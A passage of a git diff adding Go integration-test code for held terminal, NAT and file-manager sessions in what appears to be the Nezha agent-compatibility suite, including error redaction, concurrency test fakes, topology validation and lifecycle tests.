a/integration/agentcompat/internal/scenario/held_session_set_redaction.go b/integration/agentcompat/internal/scenario/held_session_set_redaction.go new file mode 100644 index 00000000..3d2f35a9 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_redaction.go @@ -0,0 +1,44 @@ +//go:build linux + +package scenario + +import "errors" + +var ( + ErrHeldSessionSetOperation = errors.New("held session set operation failed") + ErrHeldSessionSetHealth = errors.New("held session set health failed") + ErrHeldSessionPrematureClose = errors.New("held session closed before set close") +) + +type heldSessionSetClassifiedError struct { + class error + causes []error +} + +func (err *heldSessionSetClassifiedError) Error() string { return err.class.Error() } + +func (err *heldSessionSetClassifiedError) Is(target error) bool { + if errors.Is(err.class, target) { + return true + } + for _, cause := range err.causes { + if errors.Is(cause, target) { + return true + } + } + return false +} + +func redactHeldSessionSetError(err error) error { + if err == nil { + return nil + } + return &heldSessionSetClassifiedError{class: ErrHeldSessionSetOperation, causes: []error{err}} +} + +func redactHeldSessionSetHealthError(err error) error { + if err == nil { + return nil + } + return &heldSessionSetClassifiedError{class: ErrHeldSessionSetHealth, causes: []error{err}} +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_source_fake_test.go b/integration/agentcompat/internal/scenario/held_session_set_source_fake_test.go new file mode 100644 index 00000000..641fa979 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_source_fake_test.go @@ -0,0 +1,284 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "sync" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +type heldSessionHealthFake struct { + plan StressSessionPlan + done chan struct{} + closeError error +} + +func (fake *heldSessionHealthFake) Plan() StressSessionPlan { return fake.plan } +func (fake *heldSessionHealthFake) WaitLive(context.Context) error { return nil } +func (fake *heldSessionHealthFake) Close(context.Context) error { return nil } +func (fake *heldSessionHealthFake) WaitClosed(context.Context) error { return nil } +func (fake *heldSessionHealthFake) IOStreamID() (string, bool) { return "health-fake", true } +func (fake *heldSessionHealthFake) Done() <-chan struct{} { return fake.done } +func (fake *heldSessionHealthFake) CloseResult() error { return fake.closeError } + +func newHeldSessionHealthFake(t *testing.T, plan StressSessionPlan, closeError error) *heldSessionHealthFake { + t.Helper() + return &heldSessionHealthFake{plan: plan, done: make(chan struct{}), closeError: closeError} +} + +type heldSessionSetTestSession struct { + mu sync.Mutex + plan StressSessionPlan + index int + streamID string + waitLiveError error + closeError error + waitClosedError error + closeResult error + done chan struct{} + closed bool + closeEvents chan int + waitClosedEvents chan int + closeStarted chan struct{} + closeRelease <-chan struct{} +} + +func (session *heldSessionSetTestSession) Plan() StressSessionPlan { return session.plan } +func (session *heldSessionSetTestSession) WaitLive(context.Context) error { + return session.waitLiveError +} +func (session *heldSessionSetTestSession) IOStreamID() (string, bool) { + return session.streamID, session.streamID != "" +} +func (session *heldSessionSetTestSession) Done() <-chan struct{} { return session.done } +func (session *heldSessionSetTestSession) CloseResult() error { return session.closeResult } + +func (session *heldSessionSetTestSession) prematureClose() { + session.mu.Lock() + defer session.mu.Unlock() + if !session.closed { + session.closed = true + close(session.done) + } +} + +func (session *heldSessionSetTestSession) Close(context.Context) error { + if session.closeStarted != nil { + close(session.closeStarted) + session.closeStarted = nil + } + if session.closeRelease != nil { + <-session.closeRelease + } + session.mu.Lock() + if !session.closed { + session.closed = true + close(session.done) + } + if session.closeEvents != nil { + session.closeEvents <- session.index + } + session.mu.Unlock() + return session.closeError +} + +func (session *heldSessionSetTestSession) WaitClosed(context.Context) error { + if session.waitClosedEvents != nil { + session.waitClosedEvents <- session.index + } + return session.waitClosedError +} + +type heldSessionSetConstructorCoordinator struct { + mu sync.Mutex + startOnce sync.Once + ready chan int + started chan struct{} + startEvents chan string + startSlots []chan struct{} + completed chan heldSessionConstructorCompletion + acquired chan int + sessions map[int]*heldSessionSetTestSession + contextSeen chan context.Context + blockedIndex int + blockedWaiting chan struct{} + blockedCanceled chan struct{} + errors map[string]error + indices map[string]int + released []bool + lateSuccessIndex int + lateSuccessWaiting chan struct{} + lateSuccessReady chan struct{} + lateSuccessRelease chan struct{} + errorReady map[int]chan struct{} +} + +type heldSessionConstructorCompletion struct { + index int + acquired bool + err error +} + +func newHeldSessionSetConstructorCoordinator() *heldSessionSetConstructorCoordinator { + startSlots := make([]chan struct{}, 12) + for index := range startSlots { + startSlots[index] = make(chan struct{}) + } + return &heldSessionSetConstructorCoordinator{ready: make(chan int, 12), started: make(chan struct{}), startEvents: make(chan string, 12), startSlots: startSlots, completed: make(chan heldSessionConstructorCompletion, 12), acquired: make(chan int, 12), sessions: make(map[int]*heldSessionSetTestSession), contextSeen: make(chan context.Context, 12), blockedIndex: -1, errors: make(map[string]error), indices: make(map[string]int), released: make([]bool, 12), lateSuccessIndex: -1, errorReady: make(map[int]chan struct{})} +} + +func (coordinator *heldSessionSetConstructorCoordinator) construct(ctx context.Context, plan StressSessionPlan) (heldSession, error) { + index, exists := coordinator.indices[plan.ID.String()] + if !exists { + coordinator.completed <- heldSessionConstructorCompletion{index: -1, err: errors.New("constructor plan is not coordinated")} + return nil, errors.New("constructor plan is not coordinated") + } + coordinator.ready <- index + <-coordinator.started + if index == coordinator.blockedIndex { + coordinator.blockedWaiting <- struct{}{} + <-ctx.Done() + coordinator.blockedCanceled <- struct{}{} + coordinator.completed <- heldSessionConstructorCompletion{index: index, err: ctx.Err()} + return nil, ctx.Err() + } + if coordinator.errors[plan.ID.String()] != nil { + if ready := coordinator.errorReady[index]; ready != nil { + <-ready + } + coordinator.startEvents <- plan.ID.String() + err := coordinator.errors[plan.ID.String()] + coordinator.completed <- heldSessionConstructorCompletion{index: index, err: err} + return nil, err + } + if !coordinator.slotReleased(index) { + if index == coordinator.lateSuccessIndex { + coordinator.lateSuccessWaiting <- struct{}{} + <-coordinator.startSlots[index] + } else { + select { + case <-coordinator.startSlots[index]: + case <-ctx.Done(): + err := ctx.Err() + coordinator.startEvents <- plan.ID.String() + coordinator.completed <- heldSessionConstructorCompletion{index: index, err: err} + return nil, err + } + } + } + coordinator.startEvents <- plan.ID.String() + if err := coordinator.errors[plan.ID.String()]; err != nil { + coordinator.completed <- heldSessionConstructorCompletion{index: index, err: err} + return nil, err + } + if index == coordinator.lateSuccessIndex { + coordinator.lateSuccessReady <- struct{}{} + <-coordinator.lateSuccessRelease + } + coordinator.completed <- heldSessionConstructorCompletion{index: index, acquired: true} + coordinator.acquired <- index + return coordinator.sessions[index], nil +} + +func (coordinator *heldSessionSetConstructorCoordinator) releaseError(index int) { + close(coordinator.errorReady[index]) +} + +func (coordinator *heldSessionSetConstructorCoordinator) releaseAll() { + coordinator.startOnce.Do(func() { close(coordinator.started) }) +} +func (coordinator *heldSessionSetConstructorCoordinator) release(index int) { + coordinator.mu.Lock() + coordinator.released[index] = true + coordinator.mu.Unlock() + close(coordinator.startSlots[index]) +} + +func (coordinator *heldSessionSetConstructorCoordinator) slotReleased(index int) bool { + coordinator.mu.Lock() + defer coordinator.mu.Unlock() + return coordinator.released[index] +} + +type heldSessionSetStateFake struct { + mu sync.Mutex + state client.IOStreamState + baseline client.IOStreamState + snapshotError error + present []string + absent []string + counts []int + presentStreamErrors map[string]error + absentStreamErrors map[string]error + presentAggregateError error + absentAggregateError error + presentAggregateCalls int + absentAggregateCalls int + aggregatePredicatesEmpty bool + waitCalls chan client.IOStreamStateExpectation + expectedPresentCount int + expectedAbsentCount int +} + +func (fake *heldSessionSetStateFake) IOStreamState(context.Context) (client.IOStreamState, error) { + if fake.baseline.Count == 0 && fake.state.Count != 0 { + return fake.state, fake.snapshotError + } + return fake.baseline, fake.snapshotError +} + +func (fake *heldSessionSetStateFake) wait(ctx context.Context, expectation client.IOStreamStateExpectation) (client.IOStreamState, error) { + return fake.WaitForIOStreamState(ctx, expectation) +} + +func (fake *heldSessionSetStateFake) WaitForIOStreamState(ctx context.Context, expectation client.IOStreamStateExpectation) (client.IOStreamState, error) { + fake.mu.Lock() + fake.counts = append(fake.counts, *expectation.ExpectedCount) + if expectation.PresentStreamID != "" { + fake.present = append(fake.present, expectation.PresentStreamID) + } + if expectation.AbsentStreamID != "" { + fake.absent = append(fake.absent, expectation.AbsentStreamID) + } + isAggregate := expectation.PresentStreamID == "" && expectation.AbsentStreamID == "" + err := fake.presentAggregateError + expectedCount := fake.expectedPresentCount + if expectation.AbsentStreamID != "" { + expectedCount = fake.expectedAbsentCount + err = fake.absentStreamErrors[expectation.AbsentStreamID] + } else if expectation.PresentStreamID != "" { + err = fake.presentStreamErrors[expectation.PresentStreamID] + } else if *expectation.ExpectedCount == fake.expectedAbsentCount { + expectedCount = fake.expectedAbsentCount + err = fake.absentAggregateError + } + if isAggregate { + fake.aggregatePredicatesEmpty = fake.aggregatePredicatesEmpty || expectation.PresentStreamID == "" && expectation.AbsentStreamID == "" + if *expectation.ExpectedCount == fake.expectedPresentCount { + fake.presentAggregateCalls++ + } else if *expectation.ExpectedCount == fake.expectedAbsentCount { + fake.absentAggregateCalls++ + } else { + err = errors.Join(err, ErrHeldSessionSetOperation) + } + } + if expectedCount != 0 && !isAggregate && *expectation.ExpectedCount != expectedCount { + err = errors.Join(err, ErrHeldSessionSetOperation) + } + if fake.waitCalls != nil { + fake.waitCalls <- expectation + } + fake.mu.Unlock() + if err := ctx.Err(); err != nil { + return client.IOStreamState{}, err + } + return fake.baseline, err +} + +func newHeldSessionSetTestSession(index int, plan StressSessionPlan, closeEvents, waitClosedEvents chan int) *heldSessionSetTestSession { + return &heldSessionSetTestSession{plan: plan, index: index, streamID: "stream-" + plan.ID.String(), done: make(chan struct{}), closeEvents: closeEvents, waitClosedEvents: waitClosedEvents} +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_source_test.go b/integration/agentcompat/internal/scenario/held_session_set_source_test.go new file mode 100644 index 00000000..839337e2 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_source_test.go @@ -0,0 +1,67 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +func TestHeldSessionSetErrorsRedactNestedIdentity(t *testing.T) { + // Given + secret := errors.New("stream=secret-stream uuid=secret-uuid server=991 authorization=secret-token") + + // When + err := redactHeldSessionSetError(secret) + + // Then + require.ErrorIs(t, err, secret) + require.Equal(t, "held session set operation failed", err.Error()) + require.NotContains(t, err.Error(), "secret-stream") + require.NotContains(t, err.Error(), "secret-token") +} + +func TestHeldSessionSetStateChecksUseEveryExactID(t *testing.T) { + // Given + observer := &heldSessionSetStateFake{state: client.IOStreamState{Count: 12}} + ids := []string{"stream-a", "stream-b", "stream-c"} + + // When + err := waitHeldSessionSetStreams(context.Background(), observer, 12, ids, true, func(ctx context.Context, state heldSessionSetStateObserver, expectation client.IOStreamStateExpectation) (client.IOStreamState, error) { + return state.(*heldSessionSetStateFake).wait(ctx, expectation) + }) + + // Then + require.NoError(t, err) + require.ElementsMatch(t, ids, observer.present) +} + +func TestHeldSessionSetHealthUsesCanonicalIndexWhenClosuresRace(t *testing.T) { + // Given + firstError := errors.New("first canonical health failure") + secondError := errors.New("second canonical health failure") + firstPlan := StressSessionPlan{Kind: StressSessionTerminal, Ordinal: 1} + secondPlan := StressSessionPlan{Kind: StressSessionNAT, Ordinal: 2} + first := newHeldSessionHealthFake(t, firstPlan, firstError) + second := newHeldSessionHealthFake(t, secondPlan, secondError) + set := newHeldSessionSet([]StressSessionPlan{firstPlan, secondPlan}, &heldSessionSetStateFake{state: client.IOStreamState{Count: 2}}, client.IOStreamState{Count: 0}, HeldSessionSetDependencies{}, context.Background()) + set.sessions = []heldSession{first, second} + set.startHealthWatchers() + + // When + close(second.done) + close(first.done) + err := set.WaitHealthy(context.Background()) + set.stopHealthWatchers() + set.healthWG.Wait() + + // Then + require.Error(t, err) + require.ErrorIs(t, err, firstError) + require.NotErrorIs(t, err, secondError) +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_test.go b/integration/agentcompat/internal/scenario/held_session_set_test.go new file mode 100644 index 00000000..595417a7 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_test.go @@ -0,0 +1,45 @@ +//go:build linux + +package scenario + +import ( + "context" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestHeldSessionSetCanonicalPlanHasExactlyFourOfEachKind(t *testing.T) { + // Given + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + + // When + validated, err := validateHeldSessionSetPlans(plan) + + // Then + require.NoError(t, err) + require.Len(t, validated, 12) + require.Equal(t, 4, countHeldSessionKind(validated, StressSessionTerminal)) + require.Equal(t, 4, countHeldSessionKind(validated, StressSessionNAT)) + require.Equal(t, 4, countHeldSessionKind(validated, StressSessionFM)) +} + +func TestHeldSessionSetRejectsInvalidTopologyBeforeConstruction(t *testing.T) { + // Given + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + + // When + _, err = NewHeldSessionSet(context.Background(), HeldSessionSetInput{Plan: plan}) + + // Then + require.Error(t, err) + require.ErrorIs(t, err, ErrInvalidHeldSessionSetTopology) +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_topology.go b/integration/agentcompat/internal/scenario/held_session_set_topology.go new file mode 100644 index 00000000..c76c0bcc --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_topology.go @@ -0,0 +1,233 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "reflect" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +var ( + ErrInvalidHeldSessionSetTopology = errors.New("held session set topology is invalid") + ErrInvalidHeldSessionSetPlan = errors.New("held session set plan is invalid") +) + +const heldSessionSetAgentCount = 8 + +type HeldSessionAgent struct { + Ordinal StressAgentOrdinal + Agent *agent.Agent + Readiness agent.Readiness + PATClient *client.Client +} + +type HeldSessionSetInput struct { + Dashboard *dashboard.Dashboard + Plan StressPlan + Topology []HeldSessionAgent + Dependencies HeldSessionSetDependencies + ControlClient *client.Client + ControlServerIDs []uint64 + testHealthSnapshotRequestHook func(int) + testHealthSnapshotReplyHook func(int) + testHealthSnapshotOverrideHook func(int, heldHealthSnapshotRequest) *heldHealthSnapshot + testHealthSnapshotSendHook func(int) + testHealthEventHook func(heldHealthMessage) + testHealthClosureObservedHook func(int) + testHealthSnapshotAcceptedHook func(heldHealthSnapshot) + testHealthShutdownAcceptedHook func() + testHealthShutdownAcknowledgedHook func() +} + +type heldSessionSetTopology struct { + dashboard *dashboard.Dashboard + stateClient heldSessionSetStateObserver + agents map[int]HeldSessionAgent +} + +type heldSessionSetStateObserver interface { + IOStreamState(context.Context) (client.IOStreamState, error) + WaitForIOStreamState(context.Context, client.IOStreamStateExpectation) (client.IOStreamState, error) +} + +type heldSessionSetAuthorizedObserver struct { + client *client.Client +} + +func (observer heldSessionSetAuthorizedObserver) IOStreamState(ctx context.Context) (client.IOStreamState, error) { + return observer.client.IOStreamState(ctx) +} + +func (observer heldSessionSetAuthorizedObserver) WaitForIOStreamState(ctx context.Context, expectation client.IOStreamStateExpectation) (client.IOStreamState, error) { + return observer.client.WaitForIOStreamState(ctx, expectation) +} + +type HeldSessionSetDependencies struct { + Terminal func(context.Context, heldTerminalInput) (heldSession, error) + NAT func(context.Context, heldNATInput) (heldSession, error) + FM func(context.Context, heldLegacyFMInput) (heldSession, error) + Snapshot func(context.Context, heldSessionSetStateObserver) (client.IOStreamState, error) + WaitState func(context.Context, heldSessionSetStateObserver, client.IOStreamStateExpectation) (client.IOStreamState, error) + InspectAgent func(*agent.Agent) heldSessionAgentFacts + ObserveState func(*client.Client) heldSessionSetStateObserver +} + +type heldSessionAgentFacts struct { + PID int + UUID string +} + +func defaultHeldSessionSetDependencies() HeldSessionSetDependencies { + return HeldSessionSetDependencies{ + Terminal: func(ctx context.Context, input heldTerminalInput) (heldSession, error) { + return newHeldTerminalSession(ctx, input) + }, + NAT: func(ctx context.Context, input heldNATInput) (heldSession, error) { + return newHeldNATSession(ctx, input) + }, + FM: func(ctx context.Context, input heldLegacyFMInput) (heldSession, error) { + return newHeldLegacyFMSession(ctx, input) + }, + Snapshot: func(ctx context.Context, stateClient heldSessionSetStateObserver) (client.IOStreamState, error) { + return stateClient.IOStreamState(ctx) + }, + WaitState: func(ctx context.Context, stateClient heldSessionSetStateObserver, expectation client.IOStreamStateExpectation) (client.IOStreamState, error) { + return stateClient.WaitForIOStreamState(ctx, expectation) + }, + InspectAgent: func(instance *agent.Agent) heldSessionAgentFacts { + return heldSessionAgentFacts{PID: instance.PID(), UUID: instance.UUID()} + }, + ObserveState: func(controlClient *client.Client) heldSessionSetStateObserver { + return heldSessionSetAuthorizedObserver{client: controlClient} + }, + } +} + +func validateHeldSessionSetPlans(plan StressPlan) ([]StressSessionPlan, error) { + canonical, err := canonicalHeldSessionPlans(plan) + if err != nil { + return nil, errors.Join(ErrInvalidHeldSessionSetPlan, err) + } + if !reflect.DeepEqual(canonical, plan.Sessions) || len(plan.Sessions) != 12 { + return nil, ErrInvalidHeldSessionSetPlan + } + ids := make(map[string]struct{}, len(plan.Sessions)) + for _, session := range plan.Sessions { + if session.ID.String() == "" { + return nil, fmt.Errorf("empty session plan ID: %w", ErrInvalidHeldSessionSetPlan) + } + if _, exists := ids[session.ID.String()]; exists { + return nil, fmt.Errorf("duplicate session plan ID: %s: %w", session.ID.String(), ErrInvalidHeldSessionSetPlan) + } + ids[session.ID.String()] = struct{}{} + } + if countHeldSessionKind(plan.Sessions, StressSessionTerminal) != 4 || countHeldSessionKind(plan.Sessions, StressSessionNAT) != 4 || countHeldSessionKind(plan.Sessions, StressSessionFM) != 4 { + return nil, ErrInvalidHeldSessionSetPlan + } + return append([]StressSessionPlan(nil), plan.Sessions...), nil +} + +func canonicalHeldSessionPlans(plan StressPlan) ([]StressSessionPlan, error) { + if plan.Seed == 0 || plan.Profile == "" { + return nil, ErrInvalidHeldSessionSetPlan + } + profile, err := contract.ProfileByName(string(plan.Profile)) + if err != nil { + return nil, err + } + canonical, err := GenerateStressPlan(profile, plan.Seed) + if err != nil { + return nil, err + } + return canonical.Sessions, nil +} + +func countHeldSessionKind(plans []StressSessionPlan, kind StressSessionKind) int { + count := 0 + for _, plan := range plans { + if plan.Kind == kind { + count++ + } + } + return count +} + +func validateHeldSessionSetTopology(input HeldSessionSetInput, plans []StressSessionPlan) (heldSessionSetTopology, error) { + if input.Dashboard == nil || input.ControlClient == nil { + return heldSessionSetTopology{}, ErrInvalidHeldSessionSetTopology + } + inspectAgent := input.Dependencies.InspectAgent + if inspectAgent == nil { + inspectAgent = defaultHeldSessionSetDependencies().InspectAgent + } + observeState := input.Dependencies.ObserveState + if observeState == nil { + observeState = defaultHeldSessionSetDependencies().ObserveState + } + profile, err := contract.ProfileByName(string(input.Plan.Profile)) + if err != nil || profile.AgentCount() != heldSessionSetAgentCount || len(input.Topology) != heldSessionSetAgentCount { + return heldSessionSetTopology{}, ErrInvalidHeldSessionSetTopology + } + agents := make(map[int]HeldSessionAgent, len(input.Topology)) + uuids := make(map[string]struct{}, len(input.Topology)) + serverIDs := make(map[uint64]struct{}, len(input.Topology)) + for _, topology := range input.Topology { + ordinal := topology.Ordinal.Int() + if ordinal < 1 || ordinal > heldSessionSetAgentCount || topology.Agent == nil || topology.PATClient == nil { + return heldSessionSetTopology{}, ErrInvalidHeldSessionSetTopology + } + if _, exists := agents[ordinal]; exists { + return heldSessionSetTopology{}, fmt.Errorf("duplicate agent ordinal %d: %w", ordinal, ErrInvalidHeldSessionSetTopology) + } + agentFacts := inspectAgent(topology.Agent) + if err := validateHeldReadinessFacts(agentFacts, topology.Readiness); err != nil { + return heldSessionSetTopology{}, err + } + if agentFacts.PID < 1 || topology.Readiness.ServerID == 0 || topology.Readiness.UUID != agentFacts.UUID { + return heldSessionSetTopology{}, ErrInvalidHeldSessionSetTopology + } + if _, exists := uuids[topology.Readiness.UUID]; exists { + return heldSessionSetTopology{}, ErrInvalidHeldSessionSetTopology + } + if _, exists := serverIDs[topology.Readiness.ServerID]; exists { + return heldSessionSetTopology{}, ErrInvalidHeldSessionSetTopology + } + uuids[topology.Readiness.UUID] = struct{}{} + serverIDs[topology.Readiness.ServerID] = struct{}{} + agents[ordinal] = topology + } + if len(input.ControlServerIDs) != heldSessionSetAgentCount { + return heldSessionSetTopology{}, ErrInvalidHeldSessionSetTopology + } + controlServerIDs := make(map[uint64]struct{}, len(input.ControlServerIDs)) + for _, serverID := range input.ControlServerIDs { + if serverID == 0 { + return heldSessionSetTopology{}, ErrInvalidHeldSessionSetTopology + } + if _, exists := serverIDs[serverID]; !exists { + return heldSessionSetTopology{}, ErrInvalidHeldSessionSetTopology + } + if _, exists := controlServerIDs[serverID]; exists { + return heldSessionSetTopology{}, ErrInvalidHeldSessionSetTopology + } + controlServerIDs[serverID] = struct{}{} + } + for ordinal := 1; ordinal <= heldSessionSetAgentCount; ordinal++ { + if _, exists := agents[ordinal]; !exists { + return heldSessionSetTopology{}, ErrInvalidHeldSessionSetTopology + } + } + for _, plan := range plans { + if _, exists := agents[plan.Agent.Int()]; !exists { + return heldSessionSetTopology{}, fmt.Errorf("missing agent ordinal %d: %w", plan.Agent.Int(), ErrInvalidHeldSessionSetTopology) + } + } + return heldSessionSetTopology{dashboard: input.Dashboard, stateClient: observeState(input.ControlClient), agents: agents}, nil +} diff --git a/integration/agentcompat/internal/scenario/held_session_test.go b/integration/agentcompat/internal/scenario/held_session_test.go new file mode 100644 index 00000000..5a4bfd51 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_test.go @@ -0,0 +1,193 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "sync" + "testing" + "time" +) + +func TestHeldSessionLifecycleRejectsInvalidConstruction(t *testing.T) { + validPlan := heldTestPlan(t) + cases := []struct { + name string + plan StressSessionPlan + timeout time.Duration + }{ + {"zero-session-id", StressSessionPlan{Kind: validPlan.Kind, Ordinal: 1, Agent: validPlan.Agent}, time.Second}, + {"unsupported-kind", StressSessionPlan{ID: validPlan.ID, Kind: StressSessionKind("unsupported"), Ordinal: 1, Agent: validPlan.Agent}, time.Second}, + {"zero-ordinal", StressSessionPlan{ID: validPlan.ID, Kind: validPlan.Kind, Agent: validPlan.Agent}, time.Second}, + {"zero-agent", StressSessionPlan{ID: validPlan.ID, Kind: validPlan.Kind, Ordinal: 1}, time.Second}, + {"zero-timeout", validPlan, 0}, + {"nil-base-context", validPlan, time.Second}, + } + for _, testCase := range cases { + t.Run(testCase.name, func(t *testing.T) { + baseContext := context.Background() + if testCase.name == "nil-base-context" { + baseContext = nil + } + _, err := newHeldSessionLifecycle(baseContext, testCase.plan, "", testCase.timeout) + if !errors.Is(err, ErrInvalidHeldSessionPlan) { + t.Fatalf("construction error = %v", err) + } + }) + } +} + +func TestHeldSessionLifecycleRetainsLiveResultAndOptionalIOStreamID(t *testing.T) { + lifecycle := heldTestLifecycle(t, "io-stream-identity") + if err := lifecycle.markLive(nil); err != nil { + t.Fatal(err) + } + if err := lifecycle.WaitLive(context.Background()); err != nil { + t.Fatal(err) + } + streamID, present := lifecycle.IOStreamID() + if !present || streamID != "io-stream-identity" { + t.Fatalf("IOStream identity = %q, %v", streamID, present) + } + owner, won := lifecycle.beginClose() + if !won { + t.Fatal("beginClose did not return owner") + } + owner.markClosed(nil) + if err := lifecycle.WaitClosed(context.Background()); err != nil { + t.Fatal(err) + } +} + +func TestHeldSessionLifecycleFailedLiveStateRetainsExactError(t *testing.T) { + liveErr := errors.New("session failed to become live") + lifecycle := heldTestLifecycle(t, "") + if err := lifecycle.markLive(liveErr); err != nil { + t.Fatal(err) + } + if lifecycle.state != heldSessionFailed { + t.Fatalf("state = %v, want failed", lifecycle.state) + } + if err := lifecycle.WaitLive(context.Background()); !errors.Is(err, liveErr) { + t.Fatalf("WaitLive error = %v", err) + } + if err := lifecycle.markLive(nil); !errors.Is(err, ErrHeldSessionLiveResolved) { + t.Fatalf("second markLive error = %v", err) + } +} + +func TestHeldSessionLifecycleCloseBeforeLiveRetainsFailure(t *testing.T) { + lifecycle := heldTestLifecycle(t, "") + owner, won := lifecycle.beginClose() + if !won { + t.Fatal("beginClose did not return owner") + } + if err := lifecycle.WaitLive(context.Background()); !errors.Is(err, ErrHeldSessionClosedBeforeLive) { + t.Fatalf("WaitLive error = %v", err) + } + owner.markClosed(nil) + if err := lifecycle.WaitClosed(context.Background()); err != nil { + t.Fatal(err) + } +} + +func TestHeldSessionLifecycleFailedLiveRetainsDistinctCleanupResult(t *testing.T) { + liveErr := errors.New("live failed") + cleanupErr := errors.New("cleanup failed") + lifecycle := heldTestLifecycle(t, "") + if err := lifecycle.markLive(liveErr); err != nil { + t.Fatal(err) + } + owner, won := lifecycle.beginClose() + if !won { + t.Fatal("beginClose did not return owner") + } + owner.markClosed(cleanupErr) + if err := lifecycle.WaitLive(context.Background()); !errors.Is(err, liveErr) { + t.Fatalf("live error = %v", err) + } + if err := lifecycle.WaitClosed(context.Background()); !errors.Is(err, cleanupErr) { + t.Fatalf("closed error = %v", err) + } +} + +func TestHeldSessionLifecycleDoesNotImplementHeldSession(t *testing.T) { + lifecycle := heldTestLifecycle(t, "") + var candidate any = lifecycle + if _, ok := candidate.(heldSession); ok { + t.Fatal("lifecycle unexpectedly implements heldSession; cleanup ownership belongs to adapters") + } +} + +func TestHeldSessionLifecycleBeginCloseHasSingleWinner(t *testing.T) { + lifecycle := heldTestLifecycle(t, "") + owners := make(chan *heldSessionCloseOwner, 2) + var waitGroup sync.WaitGroup + for range 2 { + waitGroup.Go(func() { + owner, won := lifecycle.beginClose() + if won { + owners <- owner + } + }) + } + waitGroup.Wait() + close(owners) + var owner *heldSessionCloseOwner + for candidate := range owners { + if owner != nil { + t.Fatal("beginClose returned two owners") + } + owner = candidate + } + if owner == nil { + t.Fatal("beginClose returned no owner") + } + owner.markClosed(nil) +} + +func TestHeldSessionCloseOwnerCleanupContextIgnoresParentCancellation(t *testing.T) { + parent, cancel := context.WithCancel(context.Background()) + cancel() + lifecycle := heldTestLifecycleWithBase(t, parent, time.Second) + owner, won := lifecycle.beginClose() + if !won { + t.Fatal("beginClose did not return owner") + } + cleanupContext, cleanupCancel := owner.cleanupContext() + defer cleanupCancel() + if err := cleanupContext.Err(); err != nil { + t.Fatalf("cleanup context already canceled: %v", err) + } + owner.markClosed(nil) +} + +func heldTestPlan(t *testing.T) StressSessionPlan { + t.Helper() + id, err := NewStressSessionID("held-session") + if err != nil { + t.Fatal(err) + } + agent, err := NewStressAgentOrdinal(1) + if err != nil { + t.Fatal(err) + } + return StressSessionPlan{ID: id, Kind: StressSessionTerminal, Ordinal: 1, Agent: agent} +} + +func heldTestLifecycle(t *testing.T, streamID string) *heldSessionLifecycle { + return heldTestLifecycleWithBaseAndID(t, context.Background(), streamID, time.Second) +} + +func heldTestLifecycleWithBase(t *testing.T, base context.Context, timeout time.Duration) *heldSessionLifecycle { + return heldTestLifecycleWithBaseAndID(t, base, "", timeout) +} + +func heldTestLifecycleWithBaseAndID(t *testing.T, base context.Context, streamID string, timeout time.Duration) *heldSessionLifecycle { + lifecycle, err := newHeldSessionLifecycle(base, heldTestPlan(t), streamID, timeout) + if err != nil { + t.Fatal(err) + } + return lifecycle +} diff --git a/integration/agentcompat/internal/scenario/held_terminal.go b/integration/agentcompat/internal/scenario/held_terminal.go new file mode 100644 index 00000000..bf7d689e --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_terminal.go @@ -0,0 +1,270 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "net/http" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +const ( + heldTerminalCleanupTimeout = 10 * time.Second + heldTerminalPumpCapacity = 32 + heldTerminalGracePeriod = time.Second +) + +var ( + ErrInvalidHeldTerminalInput = errors.New("held terminal input is invalid") + ErrHeldTerminalProtocol = errors.New("held terminal protocol proof failed") + ErrInvalidHeldPATClient = errors.New("held PAT client is invalid") +) + +type heldTerminalInput struct { + Dashboard *dashboard.Dashboard + PATClient *client.Client + Agent *agent.Agent + Readiness agent.Readiness + Plan StressSessionPlan + LifetimeContext context.Context +} + +type heldTerminalSession struct { + lifecycle *heldSessionLifecycle + stack *heldCleanupStack + connection heldTerminalConnection + pump heldTerminalPump + protocol bool +} + +type heldTerminalConnection interface { + WriteFrame(context.Context, client.Frame) error + Close() error +} + +type heldTerminalPump interface { + Events() <-chan client.Frame + Done() <-chan struct{} + Err() error + Stop(context.Context) error + Wait(context.Context) error +} + +func newHeldTerminalSession(ctx context.Context, input heldTerminalInput) (*heldTerminalSession, error) { + if err := validateHeldTerminalInput(ctx, input); err != nil { + return nil, err + } + if err := validateHeldPATClient(input.PATClient); err != nil { + return nil, err + } + if err := validateHeldReadiness(input.Agent, input.Readiness); err != nil { + return nil, err + } + stateClient := input.PATClient + baseline, err := stateClient.IOStreamState(ctx) + if err != nil { + return nil, fmt.Errorf("snapshot terminal IOStream state: %w", err) + } + capability, err := registerHeldIOStreamCapability(ctx, input.PATClient, heldIOStreamCapabilityIdentity{Purpose: client.IOStreamCapabilityPurposeTerminal, ServerID: 